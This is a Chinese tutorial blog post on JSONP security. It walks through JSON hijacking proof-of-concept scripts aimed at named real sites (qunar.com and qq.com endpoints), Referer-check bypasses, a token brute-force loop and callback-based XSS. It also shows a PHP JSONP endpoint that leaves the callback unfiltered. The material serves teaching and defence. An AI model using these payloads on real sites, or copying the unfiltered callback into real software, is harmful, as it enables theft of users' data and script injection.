jsonp安全

栏目: Json · 发布时间: 4年前

内容简介:JSON with Paddig,JSONP基本语法如下:JSONP是基于JSON格式为解觉跨域问题而产生的解觉方案。说起来也很难简单a.com b.com 假设a.com要访问b.com的json数据

JSON with Paddig,JSONP基本语法如下:

callback({ "name": "kwan" , "msg": "获取成功" });

JSONP是基于JSON格式为解觉跨域问题而产生的解觉方案。

jsonp 跨域

说起来也很难简单a.com b.com 假设a.com要访问b.com的json数据

{"id" : "1","name" : "phyb0x"}

b.com上要有一个callback输出点

<?php
//getUsers.php
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "phyb0x"});';
?>

然后a.com进行调用

<script type="text/javascript" src="http://mini.jiasule.com/framework/jquery/1.9.1/jquery-1.9.1.js"></script>
<script type="text/javascript">
$.getJSON("http://www.b.com/getUsers.php?callback=?", function(getUsers){
  alert(getUsers.name);
});
</script>

会根据callback定义的函数功能返回json数据。

说起来真的晦涩难懂,实际上这个流程就是b.com上本身就有一个jsonp格式传输的点,a.com利用callback传参的函数(可以是内置写好的函数也可以是a.com自定义的(用?表示,同上述例子))去返回相应的数据。

一开始我以为跨域是漏洞的点,但是看了乌云案例发现跨域是jsonp的基本功能,漏洞点在于jsonp传输了一些敏感数据,而我们可以通过csrf+jsonp跨域获到这些敏感数据。

JSONP安全问题

json劫持

当某网站使用JSONP传递敏感数据的时候,攻击者可以构造恶意JSONP调用界面,诱导被攻击者访问。

引用wooyun-2013-019969

http://tinfo.qunar.com/ticket/passenger/passenger_info.jsp?&type=passenger&callback=qunarcallback

构造构造poc跨域获取敏感信息

<script>

function qunarcallback(json){

    alert(JSON.stringify(json))

}

</script>

<script src="http://tinfo.qunar.com/ticket/passenger/passenger_info.jsp?&type=passenger&callback=qunarcallback"></script>

jsonp安全

有时也会对referer进行限制,可以尝试

http://www.qq.com.attack.com/attack.htm 
http://www.attack.com/attack.htm?qq.com

或者利用 <iframe> 调用 javscript 伪协议来实现空 Referer 调用 JSON 文件

<iframe src="javascript:'<script>function JSON(o){alert(o.userinfo.userid);}</script><script src=http://www.qq.com/login.php?calback=JSON></script>'"></iframe>

还有一种是增加token防御,不过也可以尝试暴力破解

function _Callback(o){
alert(o.items[0].uin);
}
for(i=17008;i<17009;i++){  //暴力循环调用
getJSON("http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?uin=1111111&g_tk="+i);
}

Callback函数可定义

<?php
//getUsers.php
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "phyb0x"});';
?>

$callback没有进行任何过滤

Content-Type与XSS

Content-Type: application/json 传入

http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>

构成xss,而application / javascript 而这个头在 IE 等浏览器下一样可以解析 HTML 导致 XSS 漏洞。

防御绕过姿势

严格定义 Content-Type: application / json,这种方式会不解析恶意插入的 XSS 代码(直接访问提示文件下载),在 IE6、7 等版本时请求的 URL 文件后面加一个 /x.html 就可以解析 html。

过滤 callback 以及 JSON 数据输出,常规防御手段,也粗在绕过可能。

参考链接:

http://blog.knownsec.com/2015/03/jsonp_security_technic/


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

创业维艰

创业维艰

本·霍洛维茨 Ben Horowitz / 杨晓红、钟莉婷 / 中信出版社 / 2015-2 / 49

本·霍洛维茨,硅谷顶级投资人,与网景之父马克·安德森联手合作18年,有着丰富的创业和管理经验。2009年创立风险投资公司A16Z,被外媒誉为“硅谷最牛的50个天使投资人”之一,先后在初期投资了Facebook、Twitter、Groupon、Skype,是诸多硅谷新贵的创业导师。 在《创业维艰》中,本·霍洛维茨从自己的创业经历讲起,以自己在硅谷近20余年的创业、管理和投资经验,对创业公司(尤......一起来看看 《创业维艰》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

html转js在线工具
html转js在线工具

html转js在线工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具